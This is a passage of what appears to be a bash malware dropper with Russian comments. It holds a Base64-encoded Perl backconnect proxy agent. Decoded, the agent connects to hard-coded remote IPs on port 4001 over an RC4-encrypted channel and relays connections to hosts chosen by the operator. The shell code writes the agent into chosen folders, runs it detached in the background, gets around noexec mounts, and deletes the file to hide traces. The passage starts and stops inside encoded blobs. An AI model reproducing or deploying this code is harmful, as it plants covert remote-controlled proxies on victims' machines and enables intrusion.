IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTAnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_cc81e8b5() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTEnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3R